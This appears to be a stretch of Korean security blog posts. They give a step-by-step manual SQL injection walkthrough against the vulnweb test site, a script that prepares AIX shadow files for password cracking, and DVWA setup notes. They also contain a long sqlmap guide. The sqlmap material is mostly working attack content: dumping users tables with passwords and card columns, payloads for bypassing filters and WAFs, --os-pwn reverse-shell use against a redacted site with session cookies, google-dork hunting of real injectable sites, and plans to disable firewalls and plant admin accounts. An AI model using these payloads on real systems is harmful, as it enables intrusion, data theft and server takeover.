http://testphp.vulnweb.com/listproducts.php?cat=-1+union+select+1,2,3,4,5,6,7,8,9,10,table_name+from+information_schema.tables

보다시피 한개의 테이블 이름 밖에 확인 되지 않는다. table_name 을 group_concat(table_name) 으로 바꿔서 입력해보자




우리는 모든 테이블명을 얻게 되었다.
- CHARACTER_SETS,COLLATIONS,COLLATION_CHARACTER_SET_APPLICABILITY,COLUMNS,COLUMN_PRIVILEGES,ENGINES,EVENTS,FILES,GLOBAL_STATUS,GLOBAL_VARIABLES,KEY_COLUMN_USAGE,PARTITIONS,PLUGINS,PROCESSLIST,PROFILING,REFERENTIAL_CONSTRAINTS,ROUTINES,SCHEMATA,SCHEMA_PRIVILEGES,SESSION_STATUS,SESSION_VARIABLES,STATISTICS,TABLES,TABLE_CONSTRAINTS,TABLE_PRIVIL


그런데 보다시피, 마지막 테이블 명이 불완전하다. 이것을 완전히 하기 위해서, url  을 다음처럼 수정해야 한다.

http://testphp.vulnweb.com/listproducts.php?cat=-1+union+select+1,2,3,4,5,6,7,8,9,10,group_concat(table_name)+from+information_schema.tables+where+table_schema=database()
(정확히 이해되지는 않지만, 기본 테이블 말고 신규로 작성된 테이블만을 추출 하는 듯)



위 테이블을 대상으로 작업 진행하면 된다. 보통 users 를 타겟으로 삼는다.

users 테이블의 컬럼을 찾는다.

http://testphp.vulnweb.com/listproducts.php?cat=-1%20union%20select%201,2,%203,4,5,6,7,8,9,10,%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27#



http://testphp.vulnweb.com/listproducts.php?cat=-1+union+select+1,2,3,4,5,6,7,8,9,10,%20group_concat(name)+from+users



컬럼명 얻기

information_schema.tables 대신 information_schema.columns 사용하고 같은 그룹 concat 을 사용하는 것 대신에 멀티 columns 를 얻는 것을 제외하고 테이블명 얻을때처럼 유사하다.  또한 어떤 테이블을 헥사로 명시해야 할 것이다. 우리는 EVENTS  테이블을 사용할 것이다(위에서도 역시 진하게 표시해두었다. 대소문자 주의!) hex 값으로 이는 4556454e5453 이다.  (테이블은 대문자로 EVENTS 이다. hex convertor 이용) 헥사 값으로 입력하지 않으면오류가 발생한다.  헥사로 입력하거나 아니면 'EVENTS' 와 같이 입력하면 오류 발생안한다.

URL 은 다음과 같다.

http://testphp.vulnweb.com/listproducts.php?cat=-1+union+select+1,2,3,4,5,6,7,8,9,10,group_concat(column_name)+from+information_schema.columns+where+table_name=0x4556454e5453




컬럼에서 데이터 추출하기
지금까지 수행했던 패턴을 동일하게 이용할 것이다. 취약한 컬럼(11) 대신 table_name 을 우선 넣고, column_name 을 넣는다. 지금 우리는 우리가 데이터를 얻으려고 하는 컬럼 명을 넣을 것이다. 위의 EVENT_CATALOG 에서 데이터를 추출하려고 한다고 가정해보자. 다음처럼 URL 이 될 것이다.

http://testphp.vulnweb.com/listproducts.php?cat=-1+union+select+1,2,3,4,5,6,7,8,9,10,EVENT_CATALOG+from+information_schema.EVENTS



화면에 아무것도 보이지 않는다. 쿼리는 제대로 작동한 것이다. 테이블에 실제로 아무것도 없기 때문이다.

그러나 우리의 운은 끝내 우리를 배신했다. 모든 시간을 빈 테이블을 조회하는데 허비했다. 그래서 지금은 다른 테이블을 살펴보아야 한다. 그리고 어떤 컬럼을 테이블이 가지고 있는지 살펴보아야 한다.

그래서 리스트에서 첫번째 테이블 CHARACTER_SETS 과 첫번째 컬럼 CHARACTER_SET_NAME을 살펴보았다.
최종 코드는 다음과 같다.

http://testphp.vulnweb.com/listproducts.php?cat=-1+union+select+1,2,3,4,5,6,7,8,9,10,group_concat(CHARACTER_SET_NAME)+from+information_schema.CHARACTER_SETS


이 테이블은 다수의 데이터를 보유하고 있다. 모든 character_sets 명을 얻었다. 유사항 방법으로 다른 테이블과 컬럼을 진행할 수 있다. USERS 테이블과 USERNAME 컬럼, PASSWORD 컬럼을 살펴보는것은 더욱더 흥미로운 일일 것이다.  한번에 다수의 컬럼을 출력하여 보다 좋은 방법으로 결과를 정리하는 방법을 보여줄 것이다. 이 쿼리는 4개의 컬럼으로부터 데이터를 반환할 것이며 각각은 콜론(:)으로 구별된다. 여기서 콜론(:)은 헥사값으로 변환되어 0x3a 으로 표시된다.

http://testphp.vulnweb.com/listproducts.php?cat=-1+union+select+1,2,3,4,5,6,7,8,9,10,group_concat(CHARACTER_SET_NAME,0x3a,DEFAULT_COLLATE_NAME,0x3a,DESCRIPTION,0x3a,MAXLEN)+from+information_schema.CHARACTER_SETS

지금까지 어떠한 툴도 사용하지 않고, 가장 힘든 방식으로 sql injection 공격을 수행했다. 다음 포스트에서는 툴을 사용하여 간단한 방법으로 공격을 수행해 볼 것이다. 그러나 실제 구동 원리를 모르고 툴을 사용하는 것은 다소 무의미 할 것이다.

** SQL Injection 필터링

  1) 키워드 필터링 시
   - select, union 등 키워드 우회
   -> SeLEct
   -> s%E%l%e%c%T
   -> selselectect

   - or, and, = 등 필터링 시
      -> ^, |, & 사용
      -> like, between 사용

   - ' 필터링 시 문자열 조립
      -> char(0x41) + char(0x48)

   - 공백 필터링
      -> /**/, %20, %2b, + , %09 등


----------------------------

mysql 취약점이 의심스러운 부분에 ' 등 에러를 유발한다


blind 공격 시도한다
id=1 and 1=1
id=1 and 1=0
id=-1
(경우의 수가 있으니
id=1' and '1'='1 등 다양하게 시도해본다.

취약점이 확인되면

컬럼갯수를 확인한다. (union 구문을 실행하기 위해!)

how?

1-1) order by 문 사용

order by 1 는 몇 번째를 기준으로 정렬하는거니까..
만약 order by 4에서 에러가 발생하면 컬럼이 3개 있다는 것이다.

1-2) NULL 패턴 삽입

http://testphp.vulnweb.com/listproducts.php?cat=-1+union%20all%20select%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL#
// 에러페이지 없이 널이 삽입되는 개수만큼 컬럼이 있다는 뜻

2) 컬럼갯수를 확인했으면 union 을 이용해서 취약한 컬럼을 파악한다.

http://testphp.vulnweb.com/listproducts.php?cat=1%20union%20select%201,2,3,4,5,6,7,8,9,10,11 (true 일때)

http://testphp.vulnweb.com/listproducts.php?cat=-1%20union%20select%201,2,3,4,5,6,7,8,9,10,11 (false 일때)


이렇게 확인하여 화면에 컬럼이 노출되는지 확인한다.


3) 취약한 컬럼을 확인했으면 해당자리에서 정보를 찾는다
@@version
user()

그리고 false 일때 나오는 컬럼을 찾는다.(11)
http://testphp.vulnweb.com/listproducts.php?cat=-1+union+select+1,2,3,4,5,6,7,8,9,10,group_concat(table_name)+from+information_schema.tables

여기가 핵심 공격 부분이다.

4) 테이블 정보를 본다.
cat=-1 union select 1,2,3,4,5,6,7,8,9,10,table_name from information_schema.tables (여기서 유효한 중요할것 같은 테이블을 찾는다..)

만약 결과가 하나밖에 안나오면 table_name 대신 group_concat(table_name) 을 입력한다

컬럼정보를 본다
cat=-1 union select 1,2,3,4,5,6,7,8,9,10,group_concat(column_name) from information.schema.columns

데이터를 추출한다.

cat=-2 union select 1,2,3,4,5,6,7,8,9,10,group_concat(character_set_name) from information.schema.character_sets

----------------------
XML 오류 페이지에서 SQL 시도하기

http://testphp.vulnweb.com/AJAX/infoartist.php?id=1


동일 한 방법으로 order by 로 컬럼개수 알아내고, union 함수로 버전 정보 출력 할 수 있음

http://testphp.vulnweb.com/AJAX/infoartist.php?id=-1%20union%20select%20null,@@version,null#

** stacked queries ( mysql/php 기반에는 지원하지 않음)

  • id=1; SELECT SLEEP(5)# 
  • id=1; (SELECT * FROM (SELECT(SLEEP(5)))CkCn)#


# 참조
  • SQL Injection - https://www.youtube.com/watch?v=eMgsnhxMaRk
  • http://www.kalitutorials.net/2014/03/hacking-websites-using-sql-injection.html

Continue reading

[시스템 취약점] AIX 시스템 점검 팁 - 패스워드 크랙

 AIX 환경의 shadow 파일은 /etc/security/passwd 이다.
/etc/security/passwd 파일은 아래와 같은 형태여서 존 더 리퍼(John The Ripper)로 패스워드 크랙킹이 되지 않는다.

root:
      password =  PaDa01Bvd1liO
      lastupdate = 12312312312
      flags =
daemon:
      password = *
bin:
      password = *
sys:
      password = *
때문에 아래와 같이 별도의 파일을 만들고,  ./파일명 /etc/security/passwd 를 입력하면 크랙 결과가 출력된다.
#!/bin/bash
cat $1|egrep ":|password" | sed 's/password = //g' | tr -d "\t " |sed ':a;N;$!ba;s/:\n/:/g'


참고

  • http://crehacktive3.blog.me/220974037924

Continue reading

2017. 11. 9.

[DVWA] APMSETUP / DVWA 설치

1. apmsetup 다운 및 설치
apmsetup 다운로드 사이트
http://pritaa.co.kr/106


2. dvwa 설치
http://www.dvwa.co.uk/ -> download
C:\APM_Setup\htdocs 여기에 압축 풀기

3. config  수정
localhos/dvwa/login.php 입력하면
C:\APM_Setup\htdocs\DVWA\config\config.inc.php.dist 파일을 config.inc.php 바꾸라고 나온다. 수정하고 다시 시도하면 로그인된다.

** troubleshooting
C:\APM_Setup\php.ini 여기에 있는 파일에서 아래의 항목의 ; 를 제거함으로써 주석을 제거한다.

4. 로그인
설정 완료 후, localhost/dvwa/login.php





기본 패스워드로 (admin/password) 로그인하면 된다.

** 관리

난 혹시 모를 포트 충돌이나 기타 장애를 막기위해서 서비스 시작유형을 '수동' 으로 바꾸고 사용하지 않을 때에는 서비스를 '중지' 상태로 두고 관리한다.


# 참고
  • https://m.blog.naver.com/taeyoun795/220575534380

Continue reading

2017. 11. 7.

[웹 취약점] Sqlmap 정리

# Sqlmap 란?
기본적으로 이는 sql 인젝션을 보다 쉽게 수행하게 해주는 툴이다. 공식 웹사이트에서는 이를 다음과 같이 소개한다.
"sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections."
# 칼리 리눅스에서 Sqlmap 을 사용하여 웹 사이트 해킹하기
sqlmap -u <URL to inject> 
sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1

--time-sec 명령은 수행 속도를 높이는데 도움을 준다.

sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 --time-sec 15

어느쪽이든 sqlmap 이 수행되면 Mysql 버전과 기타 유용한 정보를 확인 할 수 있다.



수행 시 직면할 질문들

  • Some message saying that the database is probably Mysql, so should sqlmap skip all other tests and conduct mysql tests only. Your answer should be yes (y).
  • Some message asking you whether or not to use the payloads for specific versions of Mysql. The answer depends on the situation. If you are unsure, then its usually better to say yes.

1) Enumeration

- Database
이 단계에서, 데이터베이스 이름, 컬럼명, 기타 데이터를 얻을 것이다.
우선 DB 명을 얻을것이다. 이를 위해 이전 명령어의 끝에 --dbs 를 추가시켜준다.

sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 --dbs


'acuart' 와 'information schema' 데이터베이스를 찾았다.

- Table
acuart 데이터베이스를 뚫을 것이다.
sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D acuart --tables


- Columns
sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D acuart -T users --columns


- Data
sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D acuart -T users -C email,name,pass --dump



** 내용 추가 20180614

sqlmap 에서 수행되는 페이로드 패턴을 분석 및 이해

1. 기본적인 sqlmap 점검, -u 를 사용하여 점검 url 지정
sqlmap.py -u http://testphp.vulnweb.com/AJAX/infoartist.php?id=1 -v 3
(-v 3 옵션은 어떤 패턴이 넘어가는지 확인 하기 위함)


위와 같이 각 Type 별 취약점이 존재하는지 확인된다. 

종류는 아래와 같이 대략 7개의 종류로 분류된다. 

1) boolean-based blind 

id=1) and 3755=3025 and (3118=3118 
id 파라미터 형식에 맞는 쿼리 형식을 찾기 위해서 여러가지 시도를 한다.

2) AND/OR time-based blind 

id=1 and sleep(5)

3) UNION query

id=-3365%20UNION%20ALL%20SELECT%20NULL,CONCAT(0x716b706b71,0x45656c56636e6174645a7753646452644f6e45786c65424c7568476e4f676c46505a6b7466657757,0x7176717871),NULL

CONCAT 함수는 문자열 또는 칼럼의 내용을 합치는 역할을 하는데, CONCAT 안의 16진수를 모두 아스키 값으로 변환하여 출력하고 있다.



4) Error-based 

5) inline queries

id=(SELECT CONCAT(0x7162706b71, (SELECT (ELT (5166=5166,1))),0x7170717171))
파라미터에 직접적인 쿼리를 수행하는 방식

6) Stacked queries 
id=1;(SELECT * FROM (SELECT(SLEEP(5)))CkCn)#
파라미터를 입력을 ;로 종료하고 뒤이어 쿼리를 수행하는 방식
MySQL/PHP 기반에서는 Stacked queries 를 지원하지 않는다.

7) time-based blind

id=1 AND (SELECT * FROM (SELECT(SLEEP(5)))MXil)

8) parameter length constrainting mechanisms 
파라미터 길이를 필터링 하는지 안하는지 체크하는 것

id=-4784 UNION ALL SELECT NULL,CONCAT(0x7162706b71,(CASE WHEN (6381=                                                                                       6381) THEN 1 ELSE 0 END), 0x7170717171),NULL--


CASE WHEN(6381=6381) THEN 1 ELSE 0 END)  이 문구가 핵심인데, 괄호 안의 조건이 맞으면 1을 나타내고, 아니면 0을 나타내라는 의미이다. 그리고나서 CONCAT 으로 문자열을 합쳐서 출력하는 것이다. 위 스크린샷을 보면 문자열 안에 1이 있는것을 확인 할 수 있다. 
즉, 현재 페이지는 파라미터 길이 필터링을 하지 않는다는 것을 의미한다.

2. 취약점이 있는것을 확인하고 --dbs 옵션을 이용하여 데이터베이스를 추출

sqlmap.py -u http://testphp.vulnweb.com/AJAX/infoartist.php?id=1 --dbs -v 3


위와 같이 2개의 데이터베이스 이름을 추출했다. 어떻게 추출했는지 알아보자

패턴1 - 데이터베이스 개수 확인하기

-7338 UNION ALL SELECT NULL,CONCAT(0x716b706b71,IFNULL(CAST(COUNT(schema_name) AS CHAR),0x20),0x7176717871),NULL FROM INFORMATION_SCHEMA.SCHEMATA--

주요 함수들은 다음과 같다
COUNT : 그룹의 항목 수를 반환
CAST : 데이터 형식의 식을 다른 형식의 식으로 변환
IFNULL : 값이 NULL 일 경우 지정된 대체 값으로 변환
CONCAT : 문자열 또는 칼럼의 내용을 합치는 역할

하나하나씩 풀이해보자

1) COUNT(schema_name) ==> 2  // COUNT 함수를 이용하여 테이블 이름을 저장하고 있는 칼럼의  schema_name 의 개수를 카운트한다.

2) CAST(2 AS CHAR) ==> '2' // 현재 데이터베이스 개수는 2개이므로 2개를 반환하고 CAST 함수를 만나 CHAR 형식, 즉 문자로 변환합니다.  

3) IFNULL('2',0x20) ==> '2' // NULL 이 아니므로 문자를 변환합니다.

4) CONCAT(0x7176767871,'2',0x7171707a71) ==> qvkvq2qvzvq // CONCAT함수를 만나 괄호안에 있는 내용을 모두 합쳐서 반환해줍니다. 

5)  식별자 안에 2라는 값을 확인 할 수 있으며, 데이터 베이스 개수가 2개인 것을 알 수 있습니다.

패턴 2 - 데이터베이스가 2개라는 것을 확인하였고 DB 이름을 빼오자

id=-5336 UNION ALL SELECT NULL,(SELECT CONCAT(0x716b706b71,IFNULL(CAST(schema_name AS CHAR),0x20),0x7176717871) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1),NULL--

ID=-5336 UNION ALL SELECT NULL,(SELECT CONCAT(0x716b706b71,IFNULL(CAST(schema_name AS CHAR),0x20),0x7176717871) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1),NULL--

여기서 중요한건 LIMIT 0,1 이다. 이것은 0행에서 1개의 값을 가져온다는 의미이다. 또한 LIMIT 1,1 는 1행에서 1개의 값을 가져온다는 뜻이다. 

0) LIMIT 0,1 이므로 0행에서~ 1개의 값을 가져온다. (4,10 이면 다섯번째 부터 10개 추출. *0행부터 시작됨)

CAST(schema_name AS CHAR)
1) CAST 함수를 만나 schema_name 칼럼의 데이터인 information_schema를 문자 형태로 형 변환해서 가져온다.

IFNULL('information_schema', 0x20)
2) IFNULL 을 만나지만 NULL 이 아니므로 information_schema 문자를 반환한다. 

CONCAT(0x7176767871,'information_schema',0x7171707a71)
3) CONCAT 함수를 이용하여 괄호 안에 있는 값을 문자열로 모두 합쳐준다.

4) 식별자 안에 information_schema 값을 확인 할 수 있다. 즉 첫번째 데이터베이스 이름이 information_schema 인 것을 알 수 있다.

3. 데이터베이스 명을 획득하고 --tables 명령어로 TABLE을 확인한다. 

sqlmap.py -u http://testphp.vulnweb.com/AJAX/infoartist.php?id=1 -D acuart --tables -v 3



패턴 1 데이블 개수를 알아야 한다.

-3144 UNION ALL SELECT NULL,CONCAT(0x716b706b71,IFNULL(CAST(COUNT(table_name) AS CHAR),0x20),0x7176717871),NULL FROM INFORMATION_SCHEMA.TABLES WHERE table_schema IN (0x616375617274)--

풀이 
tables : 모든 테이블의 정보를 가지고 있다. 
table_schema : 하나 이상의 테이블을 가지고 있는 데이터베이스의 이름을 가지고 있다.
table_name : tables 테이블의 컬럼이다. 모든 테이블의 이름이 저장되어 있다.

0) WHERE 문을 이용하여 acuart(acuart의 16진수-0x616375617274) 데이터베이스를 한다.

1) COUNT(table_name) ==> 8 // table_name 칼럼 데이터 개수 8을 가져온다.

2) cast(8 AS CHAR) ==> '8' // 8을 문자형식으로 변환한다.

3) IFNULL('8', 0x20) ==> '8' // IFNULL 을 만나지만 NULL 이 아니므로 그대로 다시 반환한다.

4) CONCAT(0x716b706b71,'8',0x7176717871) //CONCAT 함수를 만나 괄호안의 문자열을 합쳐서 반환한다.

5) qvkvq8qvzvq 

패턴 2 갯수를 알았으니 이제 테이블의 이름을 알아오자

-2952 UNION ALL SELECT NULL,(SELECT CONCAT(0x716b706b71,IFNULL(CAST(table_name AS CHAR),0x20),0x7176717871) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema IN (0x616375617274) LIMIT 0,1),NULL--

0) LIMIT 0,1 이므로 0행에서 1개의 값을 가져온다.

1) CAST(table_name AS CHAR) ==> 'artists' // CAST 함수를 만나 artists 를 문자형으로 변환한다. 

2) IFNULL('artists', 0x20) ==> 'artists' // IFNULL 함수를 만나지만 NULL 이 아니므로 artists 그대로 반환

3) CONCAT(0x716b706b71,'artists',0x7176717871) // CONCAT 함수를 만나 괄호 안의 값을 모두 합쳐준다.

4) 식별자 안에 artists 라는 값을 확인 할 수 있다.

이렇게 LIMIT 7,1 까지 수행하면 8개의 모든 테이블 명을 얻을 수 있다. 

3. user 테이블안의 컬럼을 --columns 를 통해 파악하자 
sqlmap.py -u http://testphp.vulnweb.com/AJAX/infoartist.php?id=1 -D acuart -T users --columns -v 3


패턴 1) 컬럼 갯수를 알아보자

-9787 UNION ALL SELECT NULL,CONCAT(0x716b706b71,IFNULL(CAST(COUNT(*) AS CHAR),0x20),0x7176717871),NULL FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x7573657273 AND table_schema=0x616375617274--

1) CAST(COUNT(*) AS CHAR) // 개수가 반환된다.

패턴 2) 
-8773 UNION ALL SELECT NULL,(SELECT CONCAT(0x716b706b71,IFNULL(CAST(column_name AS CHAR),0x20),0x6b7073796a73,IFNULL(CAST(column_type AS CHAR),0x20),0x7176717871) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x7573657273 AND table_schema=0x616375617274 LIMIT 0,1),NULL--

1) CAST(column_name AS CHAR)과 CAST(column_type AS CHAR) 를 동시에 요구하는 것을 볼 수 있다.

4. users 테이블의 정보를 얻어보자

sqlmap.py -u http://testphp.vulnweb.com/AJAX/infoartist.php?id=1 -D acuart -T users --dump -v 3

패턴1)

-9623 UNION ALL SELECT NULL,CONCAT(0x716b706b71,IFNULL(CAST(COUNT(*) AS CHAR),0x20),0x7176717871),NULL FROM acuart.users--

acuart.users 테이블의 데이터 갯수를 직접적으로 쿼리한다.

-7999 UNION ALL SELECT NULL,CONCAT(0x716b706b71,IFNULL(CAST(address AS CHAR),0x20),0x6b7073796a73,IFNULL(CAST(cart AS CHAR),0x20),0x6b7073796a73,IFNULL(CAST(cc AS CHAR),0x20),0x6b7073796a73,IFNULL(CAST(email AS CHAR),0x20),0x6b7073796a73,IFNULL(CAST(name AS CHAR),0x20),0x6b7073796a73,IFNULL(CAST(pass AS CHAR),0x20),0x6b7073796a73,IFNULL(CAST(phone AS CHAR),0x20),0x6b7073796a73,IFNULL(CAST(uname AS CHAR),0x20),0x7176717871),NULL FROM acuart.users--

users 의 컬럼명(cart, cc, email, name, pass, ... )으로 직접적으로 쿼리하고 있다. 


** 내용추가 20180615 

SQL injections 으로 OS Shell (cmd) 권한 획득하기

--os-shell  옵션을 통해 OS 권한을 획득 할 수 있다. (MYSQL 에서만 가능할 것 같다.)
<출처 - http://rootkey.tistory.com/22>

쉘 권한을 획득한 후 sqlcmd 명령어로 zxc123 같은 단순 패스워드를 사용중인 모든 사용자를 검색해 볼 수 있다.

<출처 - http://rootkey.tistory.com/22>

쉘을 획득했으니 다음의 시나리오 등이 나올 수 있다.
예1) 앞단에 방화벽이 없다면, os 방화벽 해제 -> 계정 추가(관리자 권한) -> RDP 나 SSH 로 바로 서버에 접속
예2) 침해 서버가 outbound 통신이 된다면 -> 악성코드 다운로드 -> 설치 -> 원격 컨트롤

exploit code upload (서버에 악성 코드 업로드)

os-shell 과 유사하지만 약간 다르다.

--os-shell : prompt for an interactive operating system shell
--os-pwn : prompt for an out-of band shell , meterpreter or VNC 

./sqlmap.py -u "http://XXXXXXXXXXXXXXXXX.asp?XXXCode=X77" --dbms=mssql  --cookie=" ASPSESSIONIDQATSDRRD=ACIJMAOBBACDBEAKPPIGOIJD; InstInfo=; ASPSESSIONIDQQDTDDAQ=JMHHBDACHAACAIIAOFCNOJOH; " --os-pwn --threads=10


<출처 - http://rootkey.tistory.com/22>

이미지를 보면 알겠지만 서버에 코드를 생성하여 리버스 공격을 가능케 한다.


구글독에서 취약점 검색하기  (https://securityonline.info/using-sqlmap-google-dork-exploiting-sql-injection/) 
sqlmap.py -g http://test.com
 -g 옵션은 google dork 을 이용해서 해당 타겟 URL과 연관된 부분을 검색해 인젝션이 가능한 사이트를 얻어오는 방법이다. 얻어온 정보를 기반으로 실제 테스트 까지도 가능하다.


**sqlmap 으로 검색 타겟 검색
sqlmap.py -g "inurl:\"php?id=\"
http://tunesoman.com/product.php?id=200


특정 파라미터를 지정하여 검색함으로써 시간을 절약하기
sqlmap.py -u "http://test.com/info.php?id=1" -p "id"

POST DATA SQL 인젝션 - SQLmap POST request injection

1) 버프스위트로 request 값을 저장한다(search-test.txt)

2) sqlmap.py -r search-test.txt -p (title)파라미터명

(http://www.webscantest.com/datastore/search_by_id.php 여기서 확인 가능함)
(sqlmap.py -u http://www.webscantest.com/datastore/search_by_id.php --data "id=1" --method POST --dbs 이런식으로 --data 옵션을 사용해서도 가능함)
 
tamper 스크립트로 WAF 우회하기

1) mysql 일 경우
tamper=between,bluecoat,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2hash,space2morehash,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords,xforwardedfor

2) mssql 일 경우
tamper=between,charencode,charunicodeencode,equaltolike,greatest,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,sp_password,space2comment,space2dash,space2mssqlblank,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes

3) mssql, mysql 모두 적용 (general tamper testing)
tamper=apostrophemask,apostrophenullencode,base64encode,between,chardoubleencode,charencode,charunicodeencode,equaltolike,greatest,ifnull2ifisnull,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2plus,space2randomblank,unionalltounion,unmagicquotes

(ex, sqlmap -u 'http://www.site.com:80/search.cmd?form_state=1’ --level=5 --risk=3 -p 'item1' --tamper=apostrophemask,apostrophenullencode,appendnullbyte,base64encode,between,bluecoat,chardoubleencode,charencode)

Continue reading

Popular Posts

Recent Posts

Powered by Blogger.